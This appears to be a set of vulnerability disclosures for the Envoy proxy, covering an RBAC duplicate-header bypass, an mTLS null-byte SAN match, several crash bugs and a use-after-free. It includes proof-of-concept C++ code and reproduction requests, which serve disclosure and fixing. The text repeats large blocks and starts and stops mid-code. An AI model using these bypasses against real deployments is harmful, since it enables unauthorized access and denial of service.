      result[position + 1] = 'n';
      position += 2;
      break;
    case '\r':
      result[position + 1] = 'r';
      position += 2;
      break;
    case '\t':
      result[position + 1] = 't';
      position += 2;
      break;
    default:
      if (character == 0x00 || (character > 0x00 && character <= 0x1f)) {
        std::sprintf(&result[position + 1], "u%04x",
static_cast<int>(character));
        position += 6;
        // Off-by-one when this escape is the last output chunk:
        // position can become result.size(), so result[position] is out of
bounds.
        result[position] = '\\';
      } else {
        result[position++] = static_cast<char>(character);
      }
      break;
    }
  }

  return result;
}

int main() {
  std::string input(4096, 'A');
  input.push_back('\x01'); // ends with a control char -> triggers the buggy
path at the end

  const uint64_t required = extraSpace(input);
  std::string escaped = escapeString(input, required);

  std::printf("escaped.size=%zu\n", escaped.size());
  unsigned char terminator = static_cast<unsigned char>(escaped.c_str()
[escaped.size()]);
  std::printf("escaped.c_str()[escaped.size()] = 0x%02x\n", terminator);

  // If NUL termination is corrupted, this can read past the logical end.
  std::printf("strlen(escaped.c_str()) = %zu\n",
std::strlen(escaped.c_str()));
  return 0;
}```

1. Summary

The Envoy RBAC (Role-Based Access Control) filter contains a logic vulnerability in how it validates HTTP headers when multiple values are present for the same header name. Instead of validating each header value individually, Envoy concatenates all values into a single comma-separated string. This behavior allows attackers to bypass RBAC policies—specifically "Deny" rules—by sending duplicate headers, effectively obscuring the malicious value from exact-match mechanisms.

2. Attack Scenario

Consider an environment where an administrator wants to block external access to internal resources using a specific header flag.

Configuration

The Envoy proxy is configured with a Deny rule to reject requests containing the header internal: true.

• Rule Type: Exact Match
• Target: internal header must not equal true.

The Bypass Logic

1. Standard Request (Blocked):

   • Input: internal: true
   • Envoy Processing: Sees string "true".
   • Result: Match found. Request Denied.

2. Exploit Request (Bypassed):

   • Input:

     internal: true
     internal: true
     

   • Envoy Processing: Concatenates values into "true,true".
   • Matcher Evaluation: Does "true,true" equal "true"? No.
   • Result: The Deny rule fails to trigger. Request Allowed.

3. Implications

• RBAC Bypass: Remote attackers can bypass configured access controls.
• Unauthorized Access: Sensitive internal resources or administrative endpoints protected by header-based Deny rules become accessible.
• Risk: High, particularly for deployments relying on "Exact Match" strategies for security blocking.

4. Reproduction Steps

To verify this vulnerability:

1. Deploy Envoy: Configure an instance with an RBAC Deny rule that performs an exact match on a specific header (e.g., internal: true).
2. Baseline Test: Send a request containing the header internal: true.
   • Observation: Envoy blocks this request (HTTP 403).
3. Exploit Test: Send a second request containing the same header twice:

   GET /restricted-resource HTTP/1.1
   Host: example.com
   internal: true
   internal: true
   

   • Observation: Envoy allows the request, granting access to the resource.

6. Recommendations

Fix Header Validation Logic: Modify the RBAC filter to validate each header value instance individually. Avoid relying on the concatenated string output of getAllOfHeaderAsString() for security-critical matching unless the matcher is explicitly designed to parse comma-separated lists.

** Examine the DENY role to use a Regex style fix.

Credit: Dor Konis

Summary

Calling Utility::getAddressWithPort with a scoped IPv6 addresses causes a crash. This utility is called in the data plane from the original_src filter and the dns filter.

Details

The crashing function is Utility::getAddressWithPort. The crash occurs if a string containing a scoped IPv6 address is passed to this function.

This vulnerability affects:

1. The original src filter: If the filter is configured and the original source is a scoped IPv6 address, it will cause a crash.
2. DNS response address resolution: If a DNS response contains a scoped IPv6 address, this will also trigger the crash.

PoC

To reproduce the vulnerability:

1. Method A (Original Src Filter): Configure the original src filter in Envoy and provide a scoped IPv6 address as the original source.
2. Method B (DNS Resolution): Trigger a DNS resolution process within Envoy where the DNS response contains a scoped IPv6 address.

Impact

This is a Denial of Service (DoS) vulnerability. It impacts users who have the original src filter configured or whose Envoy instances resolve addresses from DNS responses that may contain scoped IPv6 addresses.

Summary

Envoy’s mTLS certificate matcher for match_typed_subject_alt_names may incorrectly treat certificates containing an embedded null byte (\0) inside an OTHERNAME SAN value as valid matches.

Details

This occurs when the SAN is encoded as a BMPSTRING or UNIVERSALSTRING, and its UTF-8 conversion result is truncated at the first null byte during string assignment. As a result, "victim\0evil" may match an exact: "victim" rule and be accepted by Envoy.

PoC

Create a CA and a server certificate signed by that CA. Create two client certificates signed by the same CA: client_evil with OTHERNAME BMPSTRING = "evil" client_null with OTHERNAME BMPSTRING = "victim\0evil" Configure Envoy with require_client_certificate: true and a match_typed_subject_alt_names entry for the OTHERNAME OID with matcher.exact: "victim". Connect without a client cert → connection rejected. Connect with client_evil → connection rejected. Connect with client_null → connection accepted (but shouldn't!).

Impact

An attacker who can obtain a trusted client certificate with a null byte embedded in an OTHERNAME SAN can exploit this vulnerability. The practical impact is unauthorized impersonation of the matched identity, enabling access to services or APIs protected by that exact OTHERNAME check.

Credit

markevich.nikita1@gmail.com

Summary

Forwarding of early CONNECT data in TCP proxy mode.

Details

Per RFC 7231-4.3.6 the sender of CONNECT (and all inbound proxies) switch to tunnel mode only after receiving 2xx response. However in TCP proxy mode, Envoy accepts client data before it has issued a 2xx response and eagerly proxies it to an established TCP connection. This creates possibility of a de-synchronized tunnel state if a proxy upstream from Envoy responds with a status other an 2xx.

The RFC does not specify the behavior in case an early CONNECT data is received and early CONNECT data is common as a latency reduction mechanism. To prevent disruption to existing deployments Envoy will by default allow early CONNECT data. Setting the envoy.reloadable_features.reject_early_connect_data runtime flag to true will cause CONNECT requests that send data before 2xx response to be rejected. This options should be enabled if there are intermediaries upstream from Envoy that may reject establishment of a CONNECT tunnel.

Impact

De-synchronization of CONNECT tunnel state if a forwarding proxy upstream from Envoy responds with a non 2xx status.

Attack vector(s)

Sending data for a CONNECT request before receiving 2xx response.

Patches

Users should upgrade to v1.36.3, v1.35.7, v1.34.11 or v1.33.13

Credits

chasingimpact (Patrick)

Summary

Envoy crashes when JWT authentication is configured with the remote JWKS fetching, allow_missing_or_failed is enabled, multiple JWT tokens are present in the request headers and the JWKS fetch fails.

Details

This is caused by a re-entry bug in the JwksFetcherImpl. When the first token's JWKS fetch fails, onJwksError() callback triggers processing of the second token, which calls fetch() again on the same fetcher object.

The original callback's reset() then clears the second fetch's state (receiver_ and request_) which causes a crash when the async HTTP response arrives.

PoC

• allow_missing_or_failed or allow_missing is enabled
• The client send 2 Authorization headers
• the remote JWKS fetching failed
• There will be crash

Impact

DoS and Crash

Mitigation

• Disable the allow_missing_or_failed or allow_missing

Note: This vulnerability was originally reported to the Google OSS VRP (Issue ID: 477542544). The Google Security Team requested that I coordinate directly with the Envoy maintainers for triage and remediation. I am submitting this report here to facilitate that process.

Technical Details I have identified a logic vulnerability in Envoy's HTTP connection manager (FilterManager) that allows for Zombie Stream Filter Execution. This issue creates a "Use-After-Free" (UAF) or state-corruption window where filter callbacks are invoked on an HTTP stream that has already been logically reset and cleaned up.

Mechanism: The vulnerability resides in source/common/http/filter_manager.cc within the FilterManager::decodeData method.

When an HTTP/2 stream encounters a reset condition (e.g., StreamIdleTimeout, OverloadManager limits, or a local reset triggered by a filter), Envoy calls onResetStream. This method:

1. Sets the internal state state_.saw_downstream_reset_ = true.
2. Invokes onDestroy() on all filters in the chain (allowing them to release resources/pointers).
3. Schedules the ActiveStream object for deferred deletion (cleanup happens later in the event loop).

The Flaw: The ActiveStream object remains valid in memory during the deferred deletion window. If a DATA frame arrives on this stream immediately after the reset (e.g., in the same packet processing cycle), the HTTP/2 codec invokes ActiveStream::decodeData, which cascades to FilterManager::decodeData.

FilterManager::decodeData fails to check the saw_downstream_reset_ flag. It iterates over the decoder_filters_ list and invokes decodeData() on filters that have already received onDestroy().

Root Cause Code Location: File: source/common/http/filter_manager.cc Function: FilterManager::decodeData

void FilterManager::decodeData(...) {
  if (stopDecoderFilterChain()) { return; }

  // Vulnerability: Missing check for state_.saw_downstream_reset_
  // Execution proceeds into the loop even if the stream is logically dead.

  auto trailers_added_entry = decoder_filters_.end();
  for (; entry != decoder_filters_.end(); entry++) {
      // ... calls (*entry)->handle_->decodeData(data) on destroyed filters ...
  }
}

Suggested Fix: Add an explicit state check at the beginning of FilterManager::decodeData.

// Prevent execution on streams that have been reset but not yet destroyed.
if (state_.saw_downstream_reset_) {
  return;
}

Impact Analysis

Who can exploit this: Any remote attacker capable of establishing an HTTP/2 or HTTP/3 connection. No privileges/authentication required.

Impact & Gain: 1. Memory Corruption & Potential Remote Code Execution: While the immediate symptom is a crash (DoS), the underlying primitive is a Use-After-Free (CWE-416).

• Mechanism: When onDestroy() is called on filters (e.g., Lua, Wasm, or complex native filters), they release internal structures and invalidate pointers.
• Exploitation: By forcing decodeData() to execute on these now-freed objects, an attacker triggers undefined behavior. In a heap-groomed environment, an attacker could potentially replace the freed filter object with a malicious payload before the "Zombie" decodeData call occurs. This would allow for vtable hijacking or arbitrary write-what-where primitives, leading to Remote Code Execution (RCE).
• Risk Amplification: This is particularly dangerous for Envoy deployments using memory-unsafe extensions or third-party filters (C++ extensions), where onDestroy logic is relied upon for safety.

2. Security Control Bypass: The vulnerability defeats Envoy's "Fail-Closed" security architecture.

• Scenario: If a stream is reset due to a security violation (e.g., StreamIdleTimeout, OverloadManager rejection, or WAF triggering), this vulnerability allows the attacker to bypass the termination.
• Result: The attacker can force the processing of "Data" frames on a connection that the security policy explicitly attempted to close, allowing malicious payloads to reach deeper into the filter chain or backend services despite the rejection.

Proof of Concept (Unit Test)

Description: The attached C++ unit test (zombie_stream_poc_test.cc) deterministically reproduces the vulnerability. It creates a stream, manually triggers a reset (simulating an Overload), and then immediately injects a DATA frame. The test asserts that the filter's decodeData callback is invoked on the reset stream.

#include "test/common/http/conn_manager_impl_test_base.h"
#include "gmock/gmock.h"
#include "gtest/gtest.h"

using testing::_;
using testing::Invoke;
using testing::NiceMock;
using testing::Return;

namespace Envoy {
namespace Http {

/**
 * Proof of Concept for "Zombie Stream Filter Execution" (HTTP/2 Reset Re-entrancy)
 * * Logic flow:
 * 1. Open a stream with HEADERS.
 * 2. Force a stream reset (simulating an Overload or Timeout).
 * 3. Immediately inject DATA into the stream.
 * 4. ASSERT that the filter's decodeData is called despite the stream being reset.
 */
class ZombieStreamPocTest : public HttpConnectionManagerImplTest {
};

TEST_F(ZombieStreamPocTest, ReproducedZombieFilterExecution) {
  setup(SetupOpts().setTracing(false));

  // 1. Setup a mock filter
  std::shared_ptr<MockStreamDecoderFilter> filter(new NiceMock<MockStreamDecoderFilter>());
   
  // Vuln confirmation:
  // We expect decodeData to be called on this filter even though the stream is reset.
  // In a secure/patched implementation, this EXPECT_CALL should fail (Times(0)).
  EXPECT_CALL(*filter, decodeData(_, _))
      .Times(1)
      .WillOnce(Invoke([&](Buffer::Instance&, bool) -> FilterDataStatus {
          ENVOY_LOG_MISC(error, "!!! VULNERABILITY REPRODUCED: decodeData called on a reset stream !!!");
          return FilterDataStatus::Continue;
      }));

  EXPECT_CALL(*filter, decodeHeaders(_, false))
      .WillOnce(Return(FilterHeadersStatus::StopIteration));

  // Register the filter
  EXPECT_CALL(filter_factory_, createFilterChain(_))
      .WillOnce(Invoke([&](FilterChainFactoryCallbacks& callbacks) -> bool {
        auto factory = createDecoderFilterFactoryCb(filter);
        callbacks.setFilterConfigName("vulnerable_filter");
        factory(callbacks);
        return true;
      }));

  // 2. Start the stream
  EXPECT_CALL(*codec_, dispatch(_))
      .WillOnce(Invoke([&](Buffer::Instance&) -> Http::Status {
        decoder_ = &conn_manager_->newStream(response_encoder_);
        RequestHeaderMapPtr headers{new TestRequestHeaderMapImpl{
            {":authority", "host"}, {":path", "/"}, {":method", "POST"}}};
        decoder_->decodeHeaders(std::move(headers), false);
        return Http::okStatus();
      }));

  // Dispatch headers
  Buffer::OwnedImpl header_buffer("headers");
  conn_manager_->onData(header_buffer, false);

  // 3. Trigger a Reset on the ActiveStream
  // This simulates Envoy terminating the stream due to an external event (Overload, Timeout).
  auto* active_stream = dynamic_cast<ConnectionManagerImpl::ActiveStream*>(decoder_);
  
  // This sets state_.saw_downstream_reset_ = true and triggers filter->onDestroy()
  active_stream->onResetStream(StreamResetReason::LocalReset, "simulated_overload");

  // 4. Attack: Send DATA to the "Zombie" stream
  // The ActiveStream object is still alive in the deferred delete list.
  Buffer::OwnedImpl malicious_payload("attacker_data");
   
  // This call reaches the filter because FilterManager::decodeData misses the check!
  active_stream->decodeData(malicious_payload, false);
}

} // namespace Http
} // namespace Envoy

Summary

An off-by-one write in Envoy::JsonEscaper::escapeString() can corrupt std::string null-termination, causing undefined behavior and potentially leading to crashes or out-of-bounds reads when the resulting string is later treated as a C-string.

Details

The bug is in the control-character escaping path in source/common/common/ json_escape_string.h:67.

• The function pre-sizes result to the final length: std::string result(input.size() + required_size, '\');
• For control characters (0x00..0x1f), it emits a JSON escape sequence of length 6: \u00XX.
• It uses sprintf(&result[position + 1], "u%04x", ...), which writes 5 chars + a trailing NUL (\0) starting at result[position + 1].
• Then it does position += 6; and writes result[position] = '\'; to overwrite the NUL.
• If the control character occurs at the end of the output (e.g., the input ends with \x01), then after position += 6, position == result.size(), so result[position] is one past the end (off-by-one), violating std::string bounds/contract.

Concretely, the problematic lines are:

• source/common/common/json_escape_string.h:69 (sprintf(...))
• source/common/common/json_escape_string.h:72 (result[position] = '\';)

Potentially reachable from request-driven paths that escape untrusted data, e.g. invalid header reporting:

• source/common/http/header_utility.cc:538 ~ source/common/http/ header_utility.cc:546 (escapes invalid header key for error text)

Even when this doesn’t immediately crash, it can break the std::string requirement that c_str()[size()] == '\0', which can later trigger UB (e.g., if passed to strlen, printf("%s"), or any C API that expects NUL termination).

//clang++ -std=c++20 -O0 -g -fsanitize=address -fno-omit-frame-pointer
repro_json_escape_asan.cc -o repro_json_escape_asan
ASAN_OPTIONS=abort_on_error=1 ./repro_json_escape_asan
#include <cstdint>
#include <cstdio>
#include <cstring>
#include <string>
#include <string_view>

static uint64_t extraSpace(std::string_view input) {
  uint64_t result = 0;
  for (unsigned char c : input) {
    switch (c) {
    case '\"':
    case '\\':
    case '\b':
    case '\f':
    case '\n':
    case '\r':
    case '\t':
      result += 1;
      break;
    default:
      if (c == 0x00 || (c > 0x00 && c <= 0x1f)) {
        result += 5;
      }
      break;
    }
  }
  return result;
}

static std::string escapeString(std::string_view input, uint64_t
required_size) {
  std::string result(input.size() + required_size, '\\');
  uint64_t position = 0;

  for (unsigned char character : input) {
    switch (character) {
    case '\"':
      result[position + 1] = '\"';
      position += 2;
      break;
    case '\\':
      position += 2;
      break;
    case '\b':
      result[position + 1] = 'b';
      position += 2;
      break;
    case '\f':
      result[position + 1] = 'f';
      position += 2;
      break;
    case '\n':
      result[position + 1] = 'n';
      position += 2;
      break;
    case '\r':
      result[position + 1] = 'r';
      position += 2;
      break;
    case '\t':
      result[position + 1] = 't';
      position += 2;
      break;
    default:
      if (character == 0x00 || (character > 0x00 && character <= 0x1f)) {
        std::sprintf(&result[position + 1], "u%04x",
static_cast<int>(character));
        position += 6;
        // Off-by-one when this escape is the last output chunk:
        // position can become result.size(), so result[position] is out of
bounds.
        result[position] = '\\';
      } else {
        result[position++] = static_cast<char>(character);
      }
      break;
    }
  }

  return result;
}

int main() {
  std::string input(4096, 'A');
  input.push_back('\x01'); // ends with a control char -> triggers the buggy
path at the end

  const uint64_t required = extraSpace(input);
  std::string escaped = escapeString(input, required);

  std::printf("escaped.size=%zu\n", escaped.size());
  unsigned char terminator = static_cast<unsigned char>(escaped.c_str()
[escaped.size()]);
  std::printf("escaped.c_str()[escaped.size()] = 0x%02x\n", terminator);

  // If NUL termination is corrupted, this can read past the logical end.
  std::printf("strlen(escaped.c_str()) = %zu\n",
std::strlen(escaped.c_str()));
  return 0;
}```

1. Summary

The Envoy RBAC (Role-Based Access Control) filter contains a logic vulnerability in how it validates HTTP headers when multiple values are present for the same header name. Instead of validating each header value individually, Envoy concatenates all values into a single comma-separated string. This behavior allows attackers to bypass RBAC policies—specifically "Deny" rules—by sending duplicate headers, effectively obscuring the malicious value from exact-match mechanisms.

2. Attack Scenario

Consider an environment where an administrator wants to block external access to internal resources using a specific header flag.

Configuration

The Envoy proxy is configured with a Deny rule to reject requests containing the header internal: true.

• Rule Type: Exact Match
• Target: internal header must not equal true.

The Bypass Logic

1. Standard Request (Blocked):

   • Input: internal: true
   • Envoy Processing: Sees string "true".
   • Result: Match found. Request Denied.

2. Exploit Request (Bypassed):

   • Input:

     internal: true
     internal: true
     

   • Envoy Processing: Concatenates values into "true,true".
   • Matcher Evaluation: Does "true,true" equal "true"? No.
   • Result: The Deny rule fails to trigger. Request Allowed.

3. Implications

• RBAC Bypass: Remote attackers can bypass configured access controls.
• Unauthorized Access: Sensitive internal resources or administrative endpoints protected by header-based Deny rules become accessible.
• Risk: High, particularly for deployments relying on "Exact Match" strategies for security blocking.

4. Reproduction Steps

To verify this vulnerability:

1. Deploy Envoy: Configure an instance with an RBAC Deny rule that performs an exact match on a specific header (e.g., internal: true).
2. Baseline Test: Send a request containing the header internal: true.
   • Observation: Envoy blocks this request (HTTP 403).
3. Exploit Test: Send a second request containing the same header twice:

   GET /restricted-resource HTTP/1.1
   Host: example.com
   internal: true
   internal: true
   

   • Observation: Envoy allows the request, granting access to the resource.

6. Recommendations

Fix Header Validation Logic: Modify the RBAC filter to validate each header value instance individually. Avoid relying on the concatenated string output of getAllOfHeaderAsString() for security-critical matching unless the matcher is explicitly designed to parse comma-separated lists.

** Examine the DENY role to use a Regex style fix.

Credit: Dor Konis

Summary

Calling Utility::getAddressWithPort with a scoped IPv6 addresses causes a crash. This utility is called in the data plane from the original_src filter and the dns filter.

Details

The crashing function is Utility::getAddressWithPort. The crash occurs if a string containing a scoped IPv6 address is passed to this function.

This vulnerability affects:

1. The original src filter: If the filter is configured and the original source is a scoped IPv6 address, it will cause a crash.
2. DNS response address resolution: If a DNS response contains a scoped IPv6 address, this will also trigger the crash.

PoC

To reproduce the vulnerability:

1. Method A (Original Src Filter): Configure the original src filter in Envoy and provide a scoped IPv6 address as the original source.
2. Method B (DNS Resolution): Trigger a DNS resolution process within Envoy where the DNS response contains a scoped IPv6 address.

Impact

This is a Denial of Service (DoS) vulnerability. It impacts users who have the original src filter configured or whose Envoy instances resolve addresses from DNS responses that may contain scoped IPv6 addresses.

Summary

Envoy’s mTLS certificate matcher for match_typed_subject_alt_names may incorrectly treat certificates containing an embedded null byte (\0) inside an OTHERNAME SAN value as valid matches.

Details

This occurs when the SAN is encoded as a BMPSTRING or UNIVERSALSTRING, and its UTF-8 conversion result is truncated at the first null byte during string assignment. As a result, "victim\0evil" may match an exact: "victim" rule and be accepted by Envoy.

PoC

Create a CA and a server certificate signed by that CA. Create two client certificates signed by the same CA: client_evil with OTHERNAME BMPSTRING = "evil" client_null with OTHERNAME BMPSTRING = "victim\0evil" Configure Envoy with require_client_certificate: true and a match_typed_subject_alt_names entry for the OTHERNAME OID with matcher.exact: "victim". Connect without a client cert → connection rejected. Connect with client_evil → connection rejected. Connect with client_null → connection accepted (but shouldn't!).

Impact

An attacker who can obtain a trusted client certificate with a null byte embedded in an OTHERNAME SAN can exploit this vulnerability. The practical impact is unauthorized impersonation of the matched identity, enabling access to services or APIs protected by that exact OTHERNAME check.

Credit

markevich.nikita1@gmail.com

Summary

Forwarding of early CONNECT data in TCP proxy mode.

Details

Per RFC 7231-4.3.6 the sender of CONNECT (and all inbound proxies) switch to tunnel mode only after receiving 2xx response. However in TCP proxy mode, Envoy accepts client data before it has issued a 2xx response and eagerly proxies it to an established TCP connection. This creates possibility of a de-synchronized tunnel state if a proxy upstream from Envoy responds with a status other an 2xx.

The RFC does not specify the behavior in case an early CONNECT data is received and early CONNECT data is common as a latency reduction mechanism. To prevent disruption to existing deployments Envoy will by default allow early CONNECT data. Setting the envoy.reloadable_features.reject_early_connect_data runtime flag to true will cause CONNECT requests that send data before 2xx response to be rejected. This options should be enabled if there are intermediaries upstream from Envoy that may reject establishment of a CONNECT tunnel.

Impact

De-synchronization of CONNECT tunnel state if a forwarding proxy upstream from Envoy responds with a non 2xx status.

Attack vector(s)

Sending data for a CONNECT request before receiving 2xx response.

Patches

Users should upgrade to v1.36.3, v1.35.7, v1.34.11 or v1.33.13

Credits

chasingimpact (Patrick)

Summary

Envoy crashes when JWT authentication is configured with the remote JWKS fetching, allow_missing_or_failed is enabled, multiple JWT tokens are present in the request headers and the JWKS fetch fails.

Details

This is caused by a re-entry bug in the JwksFetcherImpl. When the first token's JWKS fetch fails, onJwksError() callback triggers processing of the second token, which calls fetch() again on the same fetcher object.

The original callback's reset() then clears the second fetch's state (receiver_ and request_) which causes a crash when the async HTTP response arrives.

PoC

• allow_missing_or_failed or allow_missing is enabled
• The client send 2 Authorization headers
• the remote JWKS fetching failed
• There will be crash

Impact

DoS and Crash

Mitigation

• Disable the allow_missing_or_failed or allow_missing

Note: This vulnerability was originally reported to the Google OSS VRP (Issue ID: 477542544). The Google Security Team requested that I coordinate directly with the Envoy maintainers for triage and remediation. I am submitting this report here to facilitate that process.

Technical Details I have identified a logic vulnerability in Envoy's HTTP connection manager (FilterManager) that allows for Zombie Stream Filter Execution. This issue creates a "Use-After-Free" (UAF) or state-corruption window where filter callbacks are invoked on an HTTP stream that has already been logically reset and cleaned up.

Mechanism: The vulnerability resides in source/common/http/filter_manager.cc within the FilterManager::decodeData method.

When an HTTP/2 stream encounters a reset condition (e.g., StreamIdleTimeout, OverloadManager limits, or a local reset triggered by a filter), Envoy calls onResetStream. This method:

1. Sets the internal state state_.saw_downstream_reset_ = true.
2. Invokes onDestroy() on all filters in the chain (allowing them to release resources/pointers).
3. Schedules the ActiveStream object for deferred deletion (cleanup happens later in the event loop).

The Flaw: The ActiveStream object remains valid in memory during the deferred deletion window. If a DATA frame arrives on this stream immediately after the reset (e.g., in the same packet processing cycle), the HTTP/2 codec invokes ActiveStream::decodeData, which cascades to FilterManager::decodeData.

FilterManager::decodeData fails to check the saw_downstream_reset_ flag. It iterates over the decoder_filters_ list and invokes decodeData() on filters that have already received onDestroy().

Root Cause Code Location: File: source/common/http/filter_manager.cc Function: FilterManager::decodeData

void FilterManager::decodeData(...) {
  if (stopDecoderFilterChain()) { return; }

  // Vulnerability: Missing check for state_.saw_downstream_reset_
  // Execution proceeds into the loop even if the stream is logically dead.

  auto trailers_added_entry = decoder_filters_.end();
  for (; entry != decoder_filters_.end(); entry++) {
      // ... calls (*entry)->handle_->decodeData(data) on destroyed filters ...
  }
}

Suggested Fix: Add an explicit state check at the beginning of FilterManager::decodeData.

// Prevent execution on streams that have been reset but not yet destroyed.
if (state_.saw_downstream_reset_) {
  return;
}

Impact Analysis

Who can exploit this: Any remote attacker capable of establishing an HTTP/2 or HTTP/3 connection. No privileges/authentication required.

Impact & Gain: 1. Memory Corruption & Potential Remote Code Execution: While the immediate symptom is a crash (DoS), the underlying primitive is a Use-After-Free (CWE-416).

• Mechanism: When onDestroy() is called on filters (e.g., Lua, Wasm, or complex native filters), they release internal structures and invalidate pointers.
• Exploitation: By forcing decodeData() to execute on these now-freed objects, an attacker triggers undefined behavior. In a heap-groomed environment, an attacker could potentially replace the freed filter object with a malicious payload before the "Zombie" decodeData call occurs. This would allow for vtable hijacking or arbitrary write-what-where primitives, leading to Remote Code Execution (RCE).
• Risk Amplification: This is particularly dangerous for Envoy deployments using memory-unsafe extensions or third-party filters (C++ extensions), where onDestroy logic is relied upon for safety.

2. Security Control Bypass: The vulnerability defeats Envoy's "Fail-Closed" security architecture.

• Scenario: If a stream is reset due to a security violation (e.g., StreamIdleTimeout, OverloadManager rejection, or WAF triggering), this vulnerability allows the attacker to bypass the termination.
• Result: The attacker can force the processing of "Data" frames on a connection that the security policy explicitly attempted to close, allowing malicious payloads to reach deeper into the filter chain or backend services despite the rejection.

Proof of Concept (Unit Test)

Description: The attached C++ unit test (zombie_stream_poc_test.cc) deterministically reproduces the vulnerability. It creates a stream, manually triggers a reset (simulating an Overload), and then immediately injects a DATA frame. The test asserts that the filter's decodeData callback is invoked on the reset stream.

#include "test/common/http/conn_manager_impl_test_base.h"
#include "gmock/gmock.h"
#include "gtest/gtest.h"

using testing::_;
using testing::Invoke;
using testing::NiceMock;
using testing::Return;

namespace Envoy {
namespace Http {

/**
 * Proof of Concept for "Zombie Stream Filter Execution" (HTTP/2 Reset Re-entrancy)
 * * Logic flow:
 * 1. Open a stream with HEADERS.
 * 2. Force a stream reset (simulating an Overload or Timeout).
 * 3. Immediately inject DATA into the stream.
 * 4. ASSERT that the filter's decodeData is called despite the stream being reset.
 */
class ZombieStreamPocTest : public HttpConnectionManagerImplTest {
};

TEST_F(ZombieStreamPocTest, ReproducedZombieFilterExecution) {
  setup(SetupOpts().setTracing(false));

  // 1. Setup a mock filter
  std::shared_ptr<MockStreamDecoderFilter> filter(new NiceMock<MockStreamDecoderFilter>());
   
  // Vuln confirmation:
  // We expect decodeData to be called on this filter even though the stream is reset.
  // In a secure/patched implementation, this EXPECT_CALL should fail (Times(0)).
  EXPECT_CALL(*filter, decodeData(_, _))
      .Times(1)
      .WillOnce(Invoke([&](Buffer::Instance&, bool) -> FilterDataStatus {
          ENVOY_LOG_MISC(error, "!!! VULNERABILITY REPRODUCED: decodeData called on a reset stream !!!");
          return FilterDataStatus::Continue;
      }));

  EXPECT_CALL(*filter, decodeHeaders(_, false))
      .WillOnce(Return(FilterHeadersStatus::StopIteration));

  // Register the filter
  EXPECT_CALL(filter_factory_, createFilterChain(_))
      .WillOnce(Invoke([&](FilterChainFactoryCallbacks& callbacks) -> bool {
        auto factory = createDecoderFilterFactoryCb(filter);
        callbacks.setFilterConfigName("vulnerable_filter");
        factory(callbacks);
        return true;
      }));

  // 2. Start the stream
  EXPECT_CALL(*codec_, dispatch(_))
      .WillOnce(Invoke([&](Buffer::Instance&) -> Http::Status {
        decoder_ = &conn_manager_->newStream(response_encoder_);
        RequestHeaderMapPtr headers{new TestRequestHeaderMapImpl{
            {":authority", "host"}, {":path", "/"}, {":method", "POST"}}};
        decoder_->decodeHeaders(std::move(headers), false);
        return Http::okStatus();
      }));

  // Dispatch headers
  Buffer::OwnedImpl header_buffer("headers");
  conn_manager_->onData(header_buffer, false);

  // 3. Trigger a Reset on the ActiveStream
  // This simulates Envoy terminating the stream due to an external event (Overload, Timeout).
  auto* active_stream = dynamic_cast<ConnectionManagerImpl::ActiveStream*>(decoder_);
  
  // This sets state_.saw_downstream_reset_ = true and triggers filter->onDestroy()
  active_stream->onResetStream(StreamResetReason::LocalReset, "simulated_overload");

  // 4. Attack: Send DATA to the "Zombie" stream
  // The ActiveStream object is still alive in the deferred delete list.
  Buffer::OwnedImpl malicious_payload("attacker_data");
   
  // This call reaches the filter because FilterManager::decodeData misses the check!
  active_stream->decodeData(malicious_payload, false);
}

} // namespace Http
} // namespace Envoy

Summary

An off-by-one write in Envoy::JsonEscaper::escapeString() can corrupt std::string null-termination, causing undefined behavior and potentially leading to crashes or out-of-bounds reads when the resulting string is later treated as a C-string.

Details

The bug is in the control-character escaping path in source/common/common/ json_escape_string.h:67.

• The function pre-sizes result to the final length: std::string result(input.size() + required_size, '\');
• For control characters (0x00..0x1f), it emits a JSON escape sequence of length 6: \u00XX.
• It uses sprintf(&result[position + 1], "u%04x", ...), which writes 5 chars + a trailing NUL (\0) starting at result[position + 1].
• Then it does position += 6; and writes result[position] = '\'; to overwrite the NUL.
• If the control character occurs at the end of the output (e.g., the input ends with \x01), then after position += 6, position == result.size(), so result[position] is one past the end (off-by-one), violating std::string bounds/contract.

Concretely, the problematic lines are:

• source/common/common/json_escape_string.h:69 (sprintf(...))
• source/common/common/json_escape_string.h:72 (result[position] = '\';)

Potentially reachable from request-driven paths that escape untrusted data, e.g. invalid header reporting:

• source/common/http/header_utility.cc:538 ~ source/common/http/ header_utility.cc:546 (escapes invalid header key for error text)

Even when this doesn’t immediately crash, it can break the std::string requirement that c_str()[size()] == '\0', which can later trigger UB (e.g., if passed to strlen, printf("%s"), or any C API that expects NUL termination).

//clang++ -std=c++20 -O0 -g -fsanitize=address -fno-omit-frame-pointer
repro_json_escape_asan.cc -o repro_json_escape_asan
ASAN_OPTIONS=abort_on_error=1 ./repro_json_escape_asan
#include <cstdint>
#include <cstdio>
#include <cstring>
#include <string>
#include <string_view>

static uint64_t extraSpace(std::string_view input) {
  uint64_t result = 0;
  for (unsigned char c : input) {
    switch (c) {
    case '\"':
    case '\\':
    case '\b':
    case '\f':
    case '\n':
    case '\r':
    case '\t':
      result += 1;
      break;
    default:
      if (c == 0x00 || (c > 0x00 && c <= 0x1f)) {
        result += 5;
      }
      break;
    }
  }
  return result;
}

static std::string escapeString(std::string_view input, uint64_t
required_size) {
  std::string result(input.size() + required_size, '\\');
  uint64_t position = 0;

  for (unsigned char character : input) {
    switch (character) {
    case '\"':
      result[position + 1] = '\"';
      position += 2;
      break;
    case '\\':
      position += 2;
      break;
    case '\b':
      result[position + 1] = 'b';
      position += 2;
      break;
    case '\f':
      result[position + 1] = 'f';
      position += 2;
      break;
    case '\n':
      result[position + 1] = 'n';
      position += 2;
      break;
    case '\r':
      result[position + 1] = 'r';
      position += 2;
      break;
    case '\t':
      result[position + 1] = 't';
      position += 2;
      break;
    default:
      if (character == 0x00 || (character > 0x00 && character <= 0x1f)) {
        std::sprintf(&result[position + 1], "u%04x",
static_cast<int>(character));
        position += 6;
        // Off-by-one when this escape is the last output chunk:
        // position can become result.size(), so result[position] is out of
bounds.
        result[position] = '\\';
      } else {
        result[position++] = static_cast<char>(character);
      }
      break;
    }
  }

  return result;
}

int main() {
  std::string input(4096, 'A');
  input.push_back('\x01'); // ends with a control char -> triggers the buggy
path at the end

  const uint64_t required = extraSpace(input);
  std::string escaped = escapeString(input, required);

  std::printf("escaped.size=%zu\n", escaped.size());
  unsigned char terminator = static_cast<unsigned char>(escaped.c_str()
[escaped.size()]);
  std::printf("escaped.c_str()[escaped.size()] = 0x%02x\n", terminator);

  // If NUL termination is corrupted, this can read past the logical end.
  std::printf("strlen(escaped.c_str()) = %zu\n",
std::strlen(escaped.c_str()));
  return 0;
